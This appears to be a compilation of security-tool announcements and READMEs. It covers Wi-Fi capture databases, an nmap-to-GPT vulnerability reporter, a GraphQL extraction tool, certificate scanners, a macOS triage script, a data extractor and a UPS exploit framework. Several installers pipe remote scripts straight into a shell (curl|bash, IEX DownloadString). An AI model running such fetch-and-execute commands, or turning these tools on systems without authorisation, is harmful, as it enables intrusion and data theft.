Installation

git clone https://github.com/r4ulcl/wifi_db
cd wifi_db
pip3 install -r requirements.txt 

Usage

Scan with airodump-ng

Run airodump-ng saving the output with -w:

sudo airodump-ng wlan0mon -w scan --manufacturer --wps --gpsd

Create the SQLite database using Docker

#Folder with captures
CAPTURESFOLDER=/home/user/wifi

# Output database
touch db.SQLITE

docker run -t -v $PWD/db.SQLITE:/db.SQLITE -v $CAPTURESFOLDER:/captures/ r4ulcl/wifi_db

• -v $PWD/db.SQLITE:/db.SQLITE: To save de output in current folder db.SQLITE file
• -v $CAPTURESFOLDER:/captures/: To share the folder with the captures with the docker

Create the SQLite database using manual installation

Once the capture is created, we can create the database by importing the capture. To do this, put the name of the capture without format.

python3 wifi_db.py scan-01

In the event that we have multiple captures we can load the folder in which they are directly. And with -d we can rename the output database.

python3 wifi_db.py -d database.sqlite scan-folder

Open database

The database can be open with:

• sqlitebrowser

Below is an example of a ProbeClientsConnected table.

Arguments

usage: wifi_db.py [-h] [-v] [--debug] [-o] [-t LAT] [-n LON] [--source [{aircrack-ng,kismet,wigle}]] [-d DATABASE] capture [capture ...]

positional arguments:
  capture               capture folder or file with extensions .csv, .kismet.csv, .kismet.netxml, or .log.csv. If no extension is provided, all types will
                        be added. This option supports the use of wildcards (*) to select multiple files or folders.

options:
  -h, --help            show this help message and exit
  -v, --verbose         increase output verbosity
  --debug               increase output verbosity to debug
  -o, --obfuscated      Obfuscate MAC and BSSID with AA:BB:CC:XX:XX:XX-defghi (WARNING: replace all database)
  -t LAT, --lat LAT     insert a fake lat in the new elements
  -n LON, --lon LON     insert a fake lon i   n the new elements
  --source [{aircrack-ng,kismet,wigle}]
                        source from capture data (default: aircrack-ng)
  -d DATABASE, --database DATABASE
                        output database, if exist append to the given database (default name: db.SQLITE)

Kismet

TODO

Wigle

TODO

Database

wifi_db contains several tables to store information related to wireless network traffic captured by airodump-ng. The tables are as follows:

• AP: This table stores information about the access points (APs) detected during the captures, including their MAC address (bssid), network name (ssid), whether the network is cloaked (cloaked), manufacturer (manuf), channel (channel), frequency (frequency), carrier (carrier), encryption type (encryption), and total packets received from this AP (packetsTotal). The table uses the MAC address as a primary key.

• Client: This table stores information about the wireless clients detected during the captures, including their MAC address (mac), network name (ssid), manufacturer (manuf), device type (type), and total packets received from this client (packetsTotal). The table uses the MAC address as a primary key.

• SeenClient: This table stores information about the clients seen during the captures, including their MAC address (mac), time of detection (time), tool used to capture the data (tool), signal strength (signal_rssi), latitude (lat), longitude (lon), altitude (alt). The table uses the combination of MAC address and detection time as a primary key, and has a foreign key relationship with the Client table.

• Connected: This table stores information about the wireless clients that are connected to an access point, including the MAC address of the access point (bssid) and the client (mac). The table uses a combination of access point and client MAC addresses as a primary key, and has foreign key relationships with both the AP and Client tables.

• WPS: This table stores information about access points that have Wi-Fi Protected Setup (WPS) enabled, including their MAC address (bssid), network name (wlan_ssid), WPS version (wps_version), device name (wps_device_name), model name (wps_model_name), model number (wps_model_number), configuration methods (wps_config_methods), and keypad configuration methods (wps_config_methods_keypad). The table uses the MAC address as a primary key, and has a foreign key relationship with the AP table.

• SeenAp: This table stores information about the access points seen during the captures, including their MAC address (bssid), time of detection (time), tool used to capture the data (tool), signal strength (signal_rssi), latitude (lat), longitude (lon), altitude (alt), and timestamp (bsstimestamp). The table uses the combination of access point MAC address and detection time as a primary key, and has a foreign key relationship with the AP table.

• Probe: This table stores information about the probes sent by clients, including the client MAC address (mac), network name (ssid), and time of probe (time). The table uses a combination of client MAC address and network name as a primary key, and has a foreign key relationship with the Client table.

• Handshake: This table stores information about the handshakes captured during the captures, including the MAC address of the access point (bssid), the client (mac), the file name (file), and the hashcat format (hashcat). The table uses a combination of access point and client MAC addresses, and file name as a primary key, and has foreign key relationships with both the AP and Client tables.

• Identity: This table represents EAP (Extensible Authentication Protocol) identities and methods used in wireless authentication. The bssid and mac fields are foreign keys that reference the AP and Client tables, respectively. Other fields include the identity and method used in the authentication process.

Views

• ProbeClients: This view selects the MAC address of the probe, the manufacturer and type of the client device, the total number of packets transmitted by the client, and the SSID of the probe. It joins the Probe and Client tables on the MAC address and orders the results by SSID.

• ConnectedAP: This view selects the BSSID of the connected access point, the SSID of the access point, the MAC address of the connected client device, and the manufacturer of the client device. It joins the Connected, AP, and Client tables on the BSSID and MAC address, respectively, and orders the results by BSSID.

• ProbeClientsConnected: This view selects the BSSID and SSID of the connected access point, the MAC address of the probe, the manufacturer and type of the client device, the total number of packets transmitted by the client, and the SSID of the probe. It joins the Probe, Client, and ConnectedAP tables on the MAC address of the probe, and filters the results to exclude probes that are connected to the same SSID that they are probing. The results are ordered by the SSID of the probe.

• HandshakeAP: This view selects the BSSID of the access point, the SSID of the access point, the MAC address of the client device that performed the handshake, the manufacturer of the client device, the file containing the handshake, and the hashcat output. It joins the Handshake, AP, and Client tables on the BSSID and MAC address, respectively, and orders the results by BSSID.

• HandshakeAPUnique: This view selects the BSSID of the access point, the SSID of the access point, the MAC address of the client device that performed the handshake, the manufacturer of the client device, the file containing the handshake, and the hashcat output. It joins the Handshake, AP, and Client tables on the BSSID and MAC address, respectively, and filters the results to exclude handshakes that were not cracked by hashcat. The results are grouped by SSID and ordered by BSSID.

• IdentityAP: This view selects the BSSID of the access point, the SSID of the access point, the MAC address of the client device that performed the identity request, the manufacturer of the client device, the identity string, and the method used for the identity request. It joins the Identity, AP, and Client tables on the BSSID and MAC address, respectively, and orders the results by BSSID.

• SummaryAP: This view selects the SSID, the count of access points broadcasting the SSID, the encryption type, the manufacturer of the access point, and whether the SSID is cloaked. It groups the results by SSID and orders them by the count of access points in descending order.

TODO

• Aircrack-ng

• All in 1 file (and separately)

• Kismet

• Wigle

• install

• parse all files in folder -f --folder

• Fix Extended errors, tildes, etc (fixed in aircrack-ng 1.6)

• Support bash multi files: "capture*-1*"

• Script to delete client or AP from DB (mac). - (Whitelist)

• Whitelist to don't add mac to DB (file whitelist.txt, add macs, create DB)

• Overwrite if there is new info (old ESSID='', New ESSID='WIFI')

• Table Handhsakes and PMKID

• Hashcat hash format 22000

• Table files, if file exists skip (full path)

• Get HTTP POST passwords

• DNS querys

This program is a continuation of a part of: https://github.com/T1GR3S/airo-heat

Author

• Raúl Calvo Laorden (@r4ulcl)

License

GNU General Public License v3.0

OpenSSH 9.3p1

GPT_Vuln-analyzer - Uses ChatGPT API And Python-Nmap Module To Use The GPT3 Model To Create Vulnerability Reports Based On Nmap Scan Data

This is a Proof Of Concept application that demostrates how AI can be used to generate accurate results for vulnerability analysis and also allows further utilization of the already super useful ChatGPT.

Requirements

• Python 3.10
• All the packages mentioned in the requirements.txt file
• OpenAi api

Usage

• First Change the "API__KEY" part of the code with OpenAI api key

openai.api_key = "__API__KEY" # Enter your API key

• second install the packages

pip3 install -r requirements.txt
or
pip install -r requirements.txt

• run the code python3 gpt_vuln.py <> or if windows run python gpt_vuln.py <>

Supported in both windows and linux

Understanding the code

Profiles:

The profile is the type of scan that will be executed by the nmap subprocess. The Ip or target will be provided via argparse. At first the custom nmap scan is run which has all the curcial arguments for the scan to continue. nextly the scan data is extracted from the huge pile of data which has been driven by nmap. the "scan" object has a list of sub data under "tcp" each labled according to the ports opened. once the data is extracted the data is sent to openai API davenci model via a prompt. the prompt specifically asks for an JSON output and the data also to be used in a certain manner.

The entire structure of request that has to be sent to the openai API is designed in the completion section of the Program.

def profile(ip):
    nm.scan('{}'.format(ip), arguments='-Pn -sS -sU -T4 -A -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script=vuln')
    json_data = nm.analyse_nmap_xml_scan()
    analize = json_data["scan"]
    # Prompt about what the quary is all about
    prompt = "do a vulnerability analysis of {} and return a vulnerabilty report in json".format(analize)
    # A structure for the request
    completion = openai.Completion.create(
        engine=model_engine,
        prompt=prompt,
        max_tokens=1024,
        n=1,
        stop=None,
    )
    response = completion.choices[0].text
    return response

Advantages

• Can be used in developing a more advanced systems completly made of the API and scanner combination
• Can increase the effectiveness of the final system
• Highly productive when working with models such as GPT3

Kali Linux 2023.1 - Penetration Testing and Ethical Hacking Linux Distribution

CertWatcher - A Tool For Capture And Tracking Certificate Transparency Logs, Using YAML Templates Based DSL

CertWatcher is a tool for capture and tracking certificate transparency logs, using YAML templates. The tool helps to detect and analyze phishing websites and regular expression patterns, and is designed to make it easy to use for security professionals and researchers.

Certwatcher continuously monitors the certificate data stream and checks for suspicious patterns or malicious activity. Certwatcher can also be customized to detect specific phishing patterns and combat the spread of malicious websites.

Get Started

Certwatcher allows you to use custom templates to display the certificate information. We have some public custom templates available from the community. You can find them in our repository.

Useful Links

• Documentation
• Install Certwatcher
• Templating Guide
• FAQ

Contribution

If you want to contribute to this project, follow the steps below:

• Fork this repository.
• Create a new branch with your feature: git checkout -b my-new-feature
• Make changes and commit the changes: git commit -m 'Adding a new feature'
• Push to the original branch: git push origin my-new-feature
• Open a pull request.

Authors

• @drfabiocastro
• @noexceptcpp

I2P 2.2.0

CertVerify - A Scanner That Files With Compromised Or Untrusted Code Signing Certificates

The CertVerify is a tool designed to detect executable files (exe, dll, sys) that have been signed with untrusted or leaked code signing certificates. The purpose of this tool is to identify potentially malicious files that have been signed using certificates that have been compromised, stolen, or are not from a trusted source.

Why is this tool needed?

Executable files signed with compromised or untrusted code signing certificates can be used to distribute malware and other malicious software. Attackers can use these files to bypass security controls and to make their malware appear legitimate to victims. This tool helps to identify these files so that they can be removed or investigated further.

As a continuous project of the previous malware scanner, i have created such a tool. This type of tool is also essential in the event of a security incident response.

Scope of use and limitations

1. The CertVerify cannot guarantee that all files identified as suspicious are necessarily malicious. It is possible for files to be falsely identified as suspicious, or for malicious files to go undetected by the scanner.

2. The scanner only targets code signing certificates that have been identified as malicious by the public community. This includes certificates extracted by malware analysis tools and services, and other public sources. There are many unverified malware signing certificates, and it is not possible to obtain the entire malware signing certificate the tool can only detect some of them. For additional detection, you have to extract the certificate's serial number and fingerprint information yourself and add it to the signatures.

3. The scope of this tool does not include the extraction of code signing information for special rootkits that have already preempted and operated under the kernel, such as FileLess bootkits, or hidden files hidden by high-end technology. In other words, if you run this tool, it will be executed at the user level. Similar functions at the kernel level are more accurate with antirootkit or EDR. Please keep this in mind and focus on the ideas and principles... To implement the principle that is appropriate for the purpose of this tool, you need to development a driver(sys) and run it into the kernel with NT\SYSTEM privileges.

4. Nevertheless, if you want to run this tool in the event of a Windows system intrusion incident, and your purpose is sys files, boot into safe mode or another boot option that does not load the extra driver(sys) files (load only default system drivers) of the Windows system before running the tool. I think this can be a little more helpful.

5. Alternatively, mount the Windows system disk to the Linux and run the tool in the Linux environment. I think this could yield better results.

Features

• File inspection based on leaked or untrusted certificate lists.
• Scanning includes subdirectories.
• Ability to define directories to exclude from scanning.
• Supports multiprocessing for faster job execution.
• Whitelisting based on certificate subject (e.g., Microsoft subject certificates are exempt from detection).
• Option to skip inspection of unsigned files for faster scans.
• Easy integration with SIEM systems such as Splunk by attaching scan_logs.
• Easy-to-handle and customizable code and function structure.

And...

• Please let me know if any changes are required or if additional features are needed.
• If you find this helpful, please consider giving it a "star"
  
  to support further improvements.

v1.0.0

• https://github.com/password123456/CertVerify/blob/main/CHANGES

Scan result_log

datetime="2023-03-06 20:17:57",scan_id="87ea3e7b-dedc-4016-a43e-5c83f8d27c6e",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\chrome.exe",signature_hash="sha256",serial_number="0e4418e2dede36dd2974c3443afb5ce5",thumbprint="7d3d117664f121e592ef897973ef9c159150e3d736326e9cd2755f71e0febc0c",subject_name="Google LLC",issu   er_name="DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1",file_created_at="2023-03-03 23:20:41",file_modified_at="2022-04-14 06:17:04"
datetime="2023-03-06 20:17:58",scan_id="87ea3e7b-dedc-4016-a43e-5c83f8d27c6e",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\LineLauncher.exe",signature_hash="sha256",serial_number="0d424ae0be3a88ff604021ce1400f0dd",thumbprint="b3109006bc0ad98307915729e04403415c83e3292b614f26964c8d3571ecf5a9",subject_name="DigiCert Timestamp 2021",issuer_name="DigiCert SHA2 Assured ID Timestamping CA",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-03-10 18:00:10"
datetime="2023-03-06 20:17:58",scan_id="87ea3e7b-dedc-4016-a43e-5c83f8d27c6e",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\LineUpdater.exe",signature_hash="sha256",serial_number="0d424ae0be3a88ff604021ce1400f0dd",thumb   print="b3109006bc0ad98307915729e04403415c83e3292b614f26964c8d3571ecf5a9",subject_name="DigiCert Timestamp 2021",issuer_name="DigiCert SHA2 Assured ID Timestamping CA",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-04-06 10:06:28"
datetime="2023-03-06 20:17:59",scan_id="87ea3e7b-dedc-4016-a43e-5c83f8d27c6e",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\TWOD_Launcher.exe",signature_hash="sha256",serial_number="073637b724547cd847acfd28662a5e5b",thumbprint="281734d4592d1291d27190709cb510b07e22c405d5e0d6119b70e73589f98acf",subject_name="DigiCert Trusted G4 RSA4096 SHA256 TimeStamping CA",issuer_name="DigiCert Trusted Root G4",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-04-07 09:14:08"
datetime="2023-03-06 20:18:00",scan_id="87ea3e7b-dedc-4016-a43e-5c83f8d27c6e",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject   \certverify\test\VBoxSup.sys",signature_hash="sha256",serial_number="2f451139512f34c8c528b90bca471f767b83c836",thumbprint="3aa166713331d894f240f0931955f123873659053c172c4b22facd5335a81346",subject_name="VirtualBox for Legacy Windows Only Timestamp Kludge 2014",issuer_name="VirtualBox for Legacy Windows Only Timestamp CA",file_created_at="2023-03-03 23:20:43",file_modified_at="2022-10-11 08:11:56"
datetime="2023-03-06 20:31:59",scan_id="f71277c5-ed4a-4243-8070-7e0e56b0e656",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\chrome.exe",signature_hash="sha256",serial_number="0e4418e2dede36dd2974c3443afb5ce5",thumbprint="7d3d117664f121e592ef897973ef9c159150e3d736326e9cd2755f71e0febc0c",subject_name="Google LLC",issuer_name="DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1",file_created_at="2023-03-03 23:20:41",file_modified_at="2022-04-14 06:17:04"
datetime="2023-03-06 20:32:00",scan_id="f71277c   5-ed4a-4243-8070-7e0e56b0e656",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\LineLauncher.exe",signature_hash="sha256",serial_number="0d424ae0be3a88ff604021ce1400f0dd",thumbprint="b3109006bc0ad98307915729e04403415c83e3292b614f26964c8d3571ecf5a9",subject_name="DigiCert Timestamp 2021",issuer_name="DigiCert SHA2 Assured ID Timestamping CA",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-03-10 18:00:10"
datetime="2023-03-06 20:32:00",scan_id="f71277c5-ed4a-4243-8070-7e0e56b0e656",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\LineUpdater.exe",signature_hash="sha256",serial_number="0d424ae0be3a88ff604021ce1400f0dd",thumbprint="b3109006bc0ad98307915729e04403415c83e3292b614f26964c8d3571ecf5a9",subject_name="DigiCert Timestamp 2021",issuer_name="DigiCert SHA2 Assured ID Timestamping CA",file_created_at="2023-03-03    23:20:42",file_modified_at="2022-04-06 10:06:28"
datetime="2023-03-06 20:32:01",scan_id="f71277c5-ed4a-4243-8070-7e0e56b0e656",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\TWOD_Launcher.exe",signature_hash="sha256",serial_number="073637b724547cd847acfd28662a5e5b",thumbprint="281734d4592d1291d27190709cb510b07e22c405d5e0d6119b70e73589f98acf",subject_name="DigiCert Trusted G4 RSA4096 SHA256 TimeStamping CA",issuer_name="DigiCert Trusted Root G4",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-04-07 09:14:08"
datetime="2023-03-06 20:32:02",scan_id="f71277c5-ed4a-4243-8070-7e0e56b0e656",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\VBoxSup.sys",signature_hash="sha256",serial_number="2f451139512f34c8c528b90bca471f767b83c836",thumbprint="3aa166713331d894f240f0931955f123873659053c172c4b22facd5335a81346",subjec   t_name="VirtualBox for Legacy Windows Only Timestamp Kludge 2014",issuer_name="VirtualBox for Legacy Windows Only Timestamp CA",file_created_at="2023-03-03 23:20:43",file_modified_at="2022-10-11 08:11:56"
datetime="2023-03-06 20:33:45",scan_id="033976ae-46cb-4c2e-a357-734353f7e09a",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\chrome.exe",signature_hash="sha256",serial_number="0e4418e2dede36dd2974c3443afb5ce5",thumbprint="7d3d117664f121e592ef897973ef9c159150e3d736326e9cd2755f71e0febc0c",subject_name="Google LLC",issuer_name="DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1",file_created_at="2023-03-03 23:20:41",file_modified_at="2022-04-14 06:17:04"
datetime="2023-03-06 20:33:45",scan_id="033976ae-46cb-4c2e-a357-734353f7e09a",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\LineLauncher.exe",signature_hash="sha   256",serial_number="0d424ae0be3a88ff604021ce1400f0dd",thumbprint="b3109006bc0ad98307915729e04403415c83e3292b614f26964c8d3571ecf5a9",subject_name="DigiCert Timestamp 2021",issuer_name="DigiCert SHA2 Assured ID Timestamping CA",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-03-10 18:00:10"
datetime="2023-03-06 20:33:45",scan_id="033976ae-46cb-4c2e-a357-734353f7e09a",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\LineUpdater.exe",signature_hash="sha256",serial_number="0d424ae0be3a88ff604021ce1400f0dd",thumbprint="b3109006bc0ad98307915729e04403415c83e3292b614f26964c8d3571ecf5a9",subject_name="DigiCert Timestamp 2021",issuer_name="DigiCert SHA2 Assured ID Timestamping CA",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-04-06 10:06:28"
datetime="2023-03-06 20:33:46",scan_id="033976ae-46cb-4c2e-a357-734353f7e09a",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.   168.0.23",infected_file="F:\code\pythonProject\certverify\test\TWOD_Launcher.exe",signature_hash="sha256",serial_number="073637b724547cd847acfd28662a5e5b",thumbprint="281734d4592d1291d27190709cb510b07e22c405d5e0d6119b70e73589f98acf",subject_name="DigiCert Trusted G4 RSA4096 SHA256 TimeStamping CA",issuer_name="DigiCert Trusted Root G4",file_created_at="2023-03-03 23:20:42",file_modified_at="2022-04-07 09:14:08"
datetime="2023-03-06 20:33:47",scan_id="033976ae-46cb-4c2e-a357-734353f7e09a",os_version="Windows",hostname="DESKTOP-S5VJGLH",ip_address="192.168.0.23",infected_file="F:\code\pythonProject\certverify\test\VBoxSup.sys",signature_hash="sha256",serial_number="2f451139512f34c8c528b90bca471f767b83c836",thumbprint="3aa166713331d894f240f0931955f123873659053c172c4b22facd5335a81346",subject_name="VirtualBox for Legacy Windows Only Timestamp Kludge 2014",issuer_name="VirtualBox for Legacy Windows Only Timestamp CA",file_created_at="2023-03-03 23:20:43",file_modified_at="2022-10-11    08:11:56"

Graphicator - A GraphQL Enumeration And Extraction Tool

Graphicator is a GraphQL "scraper" / extractor. The tool iterates over the introspection document returned by the targeted GraphQL endpoint, and then re-structures the schema in an internal form so it can re-create the supported queries. When such queries are created is using them to send requests to the endpoint and saves the returned response to a file.

Erroneous responses are not saved. By default the tool caches the correct responses and also caches the errors, thus when re-running the tool it won't go into the same queries again.

Use it wisely and use it only for targets you have the permission to interact with.

We hope the tool to automate your own tests as a penetration tester and gives some push even to the ones that don't do GraphQLing test yet.

To learn how to perform assessments on GraphQL endpoints: https://cybervelia.com/?p=736&preview=true

Installation

Install on your system

python3 -m pip install -r requirements.txt

Using a container instead

docker run --rm -it -p8005:80 cybervelia/graphicator --target http://the-target:port/graphql --verbose

When the task is done it zips the results and such zip is provided via a webserver served on port 8005. To kill the container, provide CTRL+C. When the container is stopped the data are deleted too. Also you may change the host port according to your needs.

Usage

python3 graphicator.py [args...]

Setting up a target

The first step is to configure the target. To do that you have to provide either a --target option or a file using --file.

Setting a single target via arguments

python3 graphicator.py --target https://subdomain.domain:port/graphql

Setting multiple targets

python3 graphicator.py --target https://subdomain.domain:port/graphql --target https://target2.tld/graphql

Setting targets via a file

python3 graphicator.py --file file.txt

The file should contain one URL per line as such:

http://target1.tld/graphql
http://sub.target2.tld/graphql
http://subxyz.target3.tld:8080/graphql

Using a Proxy

You may connect the tool with any proxy.

Connect to the default burp settings (port 8080)

python3 graphicator.py --target target --default-burp-proxy

Connect to your own proxy

python3 graphicator.py --target target --use-proxy

Connect via Tor

python3 graphicator.py --target target --use-tor

Using Headers

python3 graphicator.py --target target --header "x-api-key:60b725f10c9c85c70d97880dfe8191b3"

Enable Verbose

python3 graphicator.py --target target --verbose

Enable Multi-threading

python3 graphicator.py --target target --multi

Disable warnings for insecure and self-signed certificates

python3 graphicator.py --target target --insecure

Avoid using cached results

python3 graphicator.py --target target --no-cache

Example

python3 graphicator.py --target http://localhost:8000/graphql --verbose --multi

  _____                  __    _             __           
 / ___/____ ___ _ ___   / /   (_)____ ___ _ / /_ ___   ____
/ (_ // __// _ `// _ \ / _ \ / // __// _ `// __// _ \ / __/
\___//_/   \_,_// .__//_//_//_/ \__/ \_,_/ \__/ \___//_/   
               /_/                                         

By @fand0mas

[-] Targets:  1
[-] Headers:  'Content-Type', 'User-Agent'
[-] Verbose
[-] Using cache: True
************************************************************
  0%|                                                     | 0/1 [00:00<?, ?it/s][*] Enumerating... http://localhost:8000/graphql
[*] Retrieving... => query {getArticles  { id,title,views } }
[*] Retrieving... => query {getUsers  { id,username,email,password,level } }
100%|█████████████████████████████████████████████| 1/1 [00:00<00:00, 35.78it/s]

$ cat reqcache-queries/9652f1e7c02639d8f78d1c5263093072fb4fd06c.query 
query {getUsers  { id,username,email,password,level } }

Output Structure

Three folders are created:

• reqcache: The response of each valid query is stored in JSON format
• reqcache-intro: All introspection queries are stored in a separate file in this directory
• reqcache-queries: All queries are stored in a separate file in this directory. The filename of each query will match with the corresponding filename in the reqcache directory that holds the query's response.

The filename is the hash which takes account the query and the url.

License & EULA

Copyright 2023 Cybervelia Ltd

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Maintainer

The tools has been created and maintained by (@fand0mas).

Contribution is also welcome.

Packet Fence 12.2.0

MacOSThreatTrack - Bash Tool Used For Proactive Detection Of Malicious Activity On macOS Systems

The tool is being tested in the beta phase, and it only gathers MacOS system information at this time.

The code is poorly organized and requires significant improvements.

Description

Bash tool used for proactive detection of malicious activity on macOS systems.

I was inspired by Venator-Swift and decided to create a bash version of the tool.

OneLiner command

curl https://raw.githubusercontent.com/ab2pentest/MacOSThreatTrack/main/MacOSThreatTrack.sh | bash

Gathered information

[+] System info
[+] Users list
[+] Environment variables
[+] Process list
[+] Active network connections
[+] SIP status
[+] GateKeeper status
[+] Zsh history
[+] Bash history
[+] Shell startup scripts
[+] PF rules
[+] Periodic scripts
[+] CronJobs list
[+] LaunchDaemons data
[+] Kernel extensions
[+] Installed applications
[+] Installation history
[+] Chrome extensions

Todo

1. Saving output as JSON instead of printing out the result.

DataSurgeon - Quickly Extracts IP's, Email Addresses, Hashes, Files, Credit Cards, Social Secuirty Numbers And More From Text

 DataSurgeon (ds) is a versatile tool designed for incident response, penetration testing, and CTF challenges. It allows for the extraction of various types of sensitive information including emails, phone numbers, hashes, credit cards, URLs, IP addresses, MAC addresses, SRV DNS records and a lot more!

• Supports Windows, Linux and MacOS

Extraction Features

• Emails
• Files
• Phone numbers
• Credit Cards
• Google API Private Key ID's
• Social Security Numbers
• AWS Keys
• Bitcoin wallets
• URL's
• IPv4 Addresses and IPv6 addresses
• MAC Addresses
• SRV DNS Records
• Extract Hashes
  • MD4 & MD5
  • SHA-1, SHA-224, SHA-256, SHA-384, SHA-512
  • SHA-3 224, SHA-3 256, SHA-3 384, SHA-3 512
  • MySQL 323, MySQL 41
  • NTLM
  • bcrypt

Want more?

Please read the contributing guidelines here

Quick Install

Install Rust and Github

Linux

wget -O - https://raw.githubusercontent.com/Drew-Alleman/DataSurgeon/main/install/install.sh | bash

Windows

Enter the line below in an elevated powershell window.

IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Drew-Alleman/DataSurgeon/main/install/install.ps1")

Relaunch your terminal and you will be able to use ds from the command line.

Mac

curl --proto '=https' --tlsv1.2 -sSf https://raw.githubusercontent.com/Drew-Alleman/DataSurgeon/main/install/install.sh | sh

Command Line Arguments

Video Guide

Examples

Extracting Files From a Remote Webiste

Here I use wget to make a request to stackoverflow then I forward the body text to ds . The -F option will list all files found. --clean is used to remove any extra text that might have been returned (such as extra html). Then the result of is sent to uniq which removes any non unique files found.

 wget -qO - https://www.stackoverflow.com | ds -F --clean | uniq

Extracting Mac Addresses From an Output File

Here I am pulling all mac addresses found in autodeauth's log file using the -m query. The --hide option will hide the identifer string infront of the results. In this case 'mac_address: ' is hidden from the output. The -T option is used to check the same line multiple times for matches. Normallly when a match is found the tool moves on to the next line rather then checking again.

$ ./ds -m -T --hide -f /var/log/autodeauth/log     
2023-02-26 00:28:19 - Sending 500 deauth frames to network: BC:2E:48:E5:DE:FF -- PrivateNetwork
2023-02-26 00:35:22 - Sending 500 deauth frames to network: 90:58:51:1C:C9:E1 -- TestNet

Reading all files in a directory

The line below will will read all files in the current directory recursively. The -D option is used to display the filename (-f is required for the filename to display) and -e used to search for emails.

$ find . -type f -exec ds -f {} -CDe \;

Speed Tests

When no specific query is provided, ds will search through all possible types of data, which is SIGNIFICANTLY slower than using individual queries. The slowest query is --files. Its also slightly faster to use cat to pipe the data to ds.

Below is the elapsed time when processing a 5GB test file generated by ds-test. Each test was ran 3 times and the average time was recorded.

Computer Specs

Processor	Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2904 Mhz, 6 Core(s), 12 Logical Processor(s)
Ram         12.0 GB (11.9 GB usable)

Searching all data types

Using specific queries

Project Goals

• JSON and CSV output
• Untar/unzip and a directorty searching mode
• Base64 Detection and decoding

AIDE 0.18.1

Thunderstorm - Modular Framework To Exploit UPS Devices

Thunderstorm is a modular framework to exploit UPS devices.

For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.

CVE

Thunderstorm is currently capable of exploiting the following CVE:

• CVE-2022-47186 – Unrestricted file Upload # [CS-141]
• CVE-2022-47187 – Cross-Site Scripting via File upload # [CS-141]
• CVE-2022-47188 – Arbitrary local file read via file upload # [CS-141]
• CVE-2022-47189 – Denial of Service via file upload # [CS-141]
• CVE-2022-47190 – Remote Code Execution via file upload # [CS-141]
• CVE-2022-47191 – Privilege Escalation via file upload # [CS-141]
• CVE-2022-47192 – Admin password reset via file upload # [CS-141]
• CVE-2022-47891 – Admin password reset # [NetMan 204]
• CVE-2022-47892 – Sensitive Information Disclosure # [NetMan 204]
• CVE-2022-47893 – Remote Code Execution via file upload # [NetMan 204]

Requirements

• Python 3
• Install requirements.txt

Download

It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:

git clone https://github.com/JoelGMSec/Thunderstorm

Also, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php

Usage

- To be disclosed

The detailed guide of use can be found at the following link:

• To be disclosed

License

This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.

Credits and Acknowledgments

This tool has been created and designed from scratch by Joel Gámez Molina // @JoelGMSec

Contact

This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.

For more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.

RedTeam-Physical-Tools - Red Team Toolkit - A Curated List Of Tools That Are Commonly Used In The Field For Physical Security, Red Teaming, And Tactical Covert Entry

